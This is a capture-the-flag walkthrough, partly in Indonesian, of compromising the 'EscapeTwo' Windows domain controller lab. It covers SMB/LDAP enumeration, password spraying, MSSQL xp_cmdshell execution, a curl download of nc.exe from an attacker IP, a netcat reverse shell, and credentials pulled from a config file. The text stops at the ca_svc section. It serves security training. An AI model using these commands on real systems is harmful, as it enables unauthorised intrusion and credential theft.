EscapeTwo

Information Gathering

NMAP - Ports and Service

Nmap scan report for 10.10.11.51
Host is up (0.097s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-18 16:59:17Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49718/tcp open  msrpc         Microsoft Windows RPC
49739/tcp open  msrpc         Microsoft Windows RPC
49800/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.70 seconds

SMB

┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ nxc smb 10.10.11.51 -u rose -p KxEPkKe6R8su --shares
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ            
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share 
SMB         10.10.11.51     445    DC01             Users           READ

Users directory

┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ smbclient \\\\10.10.11.51\\users -U rose
Password for [WORKGROUP\rose]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Sun Jun  9 20:42:11 2024
  ..                                 DR        0  Sun Jun  9 20:42:11 2024
  Default                           DHR        0  Sun Jun  9 18:17:29 2024
  desktop.ini                       AHS      174  Sat Sep 15 14:16:48 2018

                6367231 blocks of size 4096. 928443 blocks available
smb: \> cd defailt
cd \defailt\: NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \> dir
  .                                  DR        0  Sun Jun  9 20:42:11 2024
  ..                                 DR        0  Sun Jun  9 20:42:11 2024
  Default                           DHR        0  Sun Jun  9 18:17:29 2024
  desktop.ini                       AHS      174  Sat Sep 15 14:16:48 2018

                6367231 blocks of size 4096. 928443 blocks available
smb: \> get desktop.ini
getting file \desktop.ini of size 174 as desktop.ini (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)
smb: \> exit
                                                                                                                     
┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ cat desktop.ini   
��
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21813

Account Departement directory

┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ smbclient \\\\10.10.11.51\\"Accounting Department" -U rose
Password for [WORKGROUP\rose]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Jun  9 17:52:21 2024
  ..                                  D        0  Sun Jun  9 17:52:21 2024
  accounting_2024.xlsx                A    10217  Sun Jun  9 17:14:49 2024
  accounts.xlsx                       A     6780  Sun Jun  9 17:52:07 2024

                6367231 blocks of size 4096. 928427 blocks available
smb: \> get account.xlsx
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \account.xlsx
smb: \> get accounts.xlsx 
getting file \accounts.xlsx of size 6780 as accounts.xlsx (27.0 KiloBytes/sec) (average 27.0 KiloBytes/sec)
smb: \> get accounting_2024.xlsx 
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (40.2 KiloBytes/sec) (average 33.7 KiloBytes/sec)
smb: \> exit

LDAP

User enum

                                                                                                                     
┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ ldapsearch -x -LLL -H ldap://10.10.11.51 -D '[email protected]' -w 'KxEPkKe6R8su' -b 'dc=sequel,dc=htb'  | grep userPrincipalName:
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
                                                                                                                     
┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ ldapsearch -x -LLL -H ldap://10.10.11.51 -D '[email protected]' -w 'KxEPkKe6R8su' -b 'dc=sequel,dc=htb'  | grep sAMAccountName | awk -F "sAMAccountName: " '{print $2}' | grep -v " "
Administrator
Guest
Administrators
Users
Guests
Replicator
IIS_IUSRS
DC01$
krbtgt
DnsAdmins
DnsUpdateProxy
michael
ryan
oscar
sql_svc
SQLServer2005SQLBrowserUser$DC01
SQLRUserGroupSQLEXPRESS
rose
ca_svc

Bloodhound-python

┌──(me㉿justakazh)-[~/ctf/escapeTwo/bloodhound-collect]
└─$ bloodhound-python -u rose -p 'KxEPkKe6R8su' -c all -d sequel.htb -ns 10.10.11.51
INFO: Found AD domain: sequel.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.sequel.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 10 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.sequel.htb
INFO: Done in 00M 11S

RPC

User enum

                                                                                                                     
┌──(me㉿justakazh)-[~/ctf/escapeTwo/bloodhound-collect]
└─$ rpcclient 10.10.11.51 -U rose 
Password for [WORKGROUP\rose]:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[michael] rid:[0x44f]
user:[ryan] rid:[0x45a]
user:[oscar] rid:[0x45c]
user:[sql_svc] rid:[0x462]
user:[rose] rid:[0x641]
user:[ca_svc] rid:[0x647]
rpcclient $>

RID

User enum

┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ nxc smb 10.10.11.51 -u rose -p KxEPkKe6R8su --rid   
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SMB         10.10.11.51     445    DC01             498: SEQUEL\Enterprise Read-only Domain Controllers (SidTypeGroup)                                                                                                                    
SMB         10.10.11.51     445    DC01             500: SEQUEL\Administrator (SidTypeUser)
SMB         10.10.11.51     445    DC01             501: SEQUEL\Guest (SidTypeUser)
SMB         10.10.11.51     445    DC01             502: SEQUEL\krbtgt (SidTypeUser)
SMB         10.10.11.51     445    DC01             512: SEQUEL\Domain Admins (SidTypeGroup)
SMB         10.10.11.51     445    DC01             513: SEQUEL\Domain Users (SidTypeGroup)
SMB         10.10.11.51     445    DC01             514: SEQUEL\Domain Guests (SidTypeGroup)
SMB         10.10.11.51     445    DC01             515: SEQUEL\Domain Computers (SidTypeGroup)
SMB         10.10.11.51     445    DC01             516: SEQUEL\Domain Controllers (SidTypeGroup)
SMB         10.10.11.51     445    DC01             517: SEQUEL\Cert Publishers (SidTypeAlias)
SMB         10.10.11.51     445    DC01             518: SEQUEL\Schema Admins (SidTypeGroup)
SMB         10.10.11.51     445    DC01             519: SEQUEL\Enterprise Admins (SidTypeGroup)
SMB         10.10.11.51     445    DC01             520: SEQUEL\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.11.51     445    DC01             521: SEQUEL\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.51     445    DC01             522: SEQUEL\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.11.51     445    DC01             525: SEQUEL\Protected Users (SidTypeGroup)
SMB         10.10.11.51     445    DC01             526: SEQUEL\Key Admins (SidTypeGroup)
SMB         10.10.11.51     445    DC01             527: SEQUEL\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.11.51     445    DC01             553: SEQUEL\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.11.51     445    DC01             571: SEQUEL\Allowed RODC Password Replication Group (SidTypeAlias)                                                                                                                    
SMB         10.10.11.51     445    DC01             572: SEQUEL\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.51     445    DC01             1000: SEQUEL\DC01$ (SidTypeUser)
SMB         10.10.11.51     445    DC01             1101: SEQUEL\DnsAdmins (SidTypeAlias)
SMB         10.10.11.51     445    DC01             1102: SEQUEL\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.11.51     445    DC01             1103: SEQUEL\michael (SidTypeUser)
SMB         10.10.11.51     445    DC01             1114: SEQUEL\ryan (SidTypeUser)
SMB         10.10.11.51     445    DC01             1116: SEQUEL\oscar (SidTypeUser)
SMB         10.10.11.51     445    DC01             1122: SEQUEL\sql_svc (SidTypeUser)
SMB         10.10.11.51     445    DC01             1128: SEQUEL\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB         10.10.11.51     445    DC01             1129: SEQUEL\SQLRUserGroupSQLEXPRESS (SidTypeAlias)
SMB         10.10.11.51     445    DC01             1601: SEQUEL\rose (SidTypeUser)
SMB         10.10.11.51     445    DC01             1602: SEQUEL\Management Department (SidTypeGroup)
SMB         10.10.11.51     445    DC01             1603: SEQUEL\Sales Department (SidTypeGroup)
SMB         10.10.11.51     445    DC01             1604: SEQUEL\Accounting Department (SidTypeGroup)
SMB         10.10.11.51     445    DC01             1605: SEQUEL\Reception Department (SidTypeGroup)
SMB         10.10.11.51     445    DC01             1606: SEQUEL\Human Resources Department (SidTypeGroup)
SMB         10.10.11.51     445    DC01             1607: SEQUEL\ca_svc (SidTypeUser)

Road to Users - sql_svc

AS-REP ROASTING

                                                                                                                     
┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ impacket-GetNPUsers -dc-ip 10.10.11.51 sequel.htb/ -usersfile users
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User michael doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ryan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User oscar doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User rose doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ca_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] invalid principal syntax
                                                                                                                     
┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$

tidak ada yang vuln.

SMB FIles

accounts.xlsx menyimpan credentials

Password Spraying

SMB

nxc smb 10.10.11.51 -u users -p pass --continue-on-success
[ --SNIP-- ]
SMB         10.10.11.51     445    DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG 
[ --SNIP-- ]

MSSQL

without --local-auth

┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ nxc mssql 10.10.11.51 -u users -p pass --continue-on-success
[-- SNIP --]
MSSQL       10.10.11.51     1433   DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
MSSQL       10.10.11.51     1433   DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG 
[-- SNIP --]

with --local-auth

┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ nxc mssql 10.10.11.51 -u users -p pass --continue-on-success --local-auth  
[-- SNIP --]
MSSQL       10.10.11.51     1433   DC01             [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
[-- SNIP --]

MSSQL - Remote Code Execution

┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ impacket-mssqlclient sequel.htb/sa:'MSSQLP@ssw0rd!'@10.10.11.51    
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (sa  dbo@master)> help

    lcd {path}                 - changes the current local directory to {path}
    exit                       - terminates the server process (and this session)
    enable_xp_cmdshell         - you know what it means
    disable_xp_cmdshell        - you know what it means
    enum_db                    - enum databases
    enum_links                 - enum linked servers
    enum_impersonate           - check logins that can be impersonated
    enum_logins                - enum login users
    enum_users                 - enum current db users
    enum_owner                 - enum db owner
    exec_as_user {user}        - impersonate with execute as user
    exec_as_login {login}      - impersonate with execute as login
    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
    xp_dirtree {path}          - executes xp_dirtree on the path
    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
    use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
    ! {cmd}                    - executes a local shell cmd
    show_query                 - show query
    mask_query                 - mask query
    
SQL (sa  dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)> xp_cmdshell whoami
output           
--------------   
sequel\sql_svc   

NULL             

SQL (sa  dbo@master)>

NC RCE

SQL (sa  dbo@master)> xp_cmdshell "curl http://10.10.16.25:80/nc.exe --output C:\\users\\sql_svc\\desktop\\nc.exe"
output                                                                             
--------------------------------------------------------------------------------   
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current    

                                 Dload  Upload   Total   Spent    Left  Speed      

100 59392  100 59392    0     0   194k      0 --:--:-- --:--:-- --:--:--  194k   

NULL                                                                               

SQL (sa  dbo@master)> xp_cmdshell "C:\\users\\sql_svc\\desktop\\nc.exe 10.10.16.25 1337 -e cmd.exe"

┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.25] from (UNKNOWN) [10.10.11.51] 56718
Microsoft Windows [Version 10.0.17763.6640]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
sequel\sql_svc

C:\Windows\system32>

Road to user - ryan

menjalankan winpeas

winpeas.exe dan ps1 berbeda, untuk kecepatan exe lebih unggul. untuk deepscan ps1 lebih unggul

terdapat file configurasi sql pada directory C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI yang mengandung password.

C:\sql2019\ExpressAdv_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

spray password

┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ nxc smb sequel.htb -u users -p WqSZAF6CysDQbGb3 --continue-on-success
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 
SMB         10.10.11.51     445    DC01             [+] sequel.htb\sql_svc:WqSZAF6CysDQbGb3

┌──(me㉿justakazh)-[~/ctf/escapeTwo]
└─$ evil-winrm -i sequel.htb -u ryan -p WqSZAF6CysDQbGb3
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                         
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                           
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> type ..\desktop\user.txt
e06c9xxxxxfba7c2013b3xxxxxxxxx
*Evil-WinRM* PS C:\Users\ryan\Documents>

Road to user - ca_svc

Machine Recap

Port and Service scan
enumerasi

PreviousActive NextReturn

Last updated 10 months ago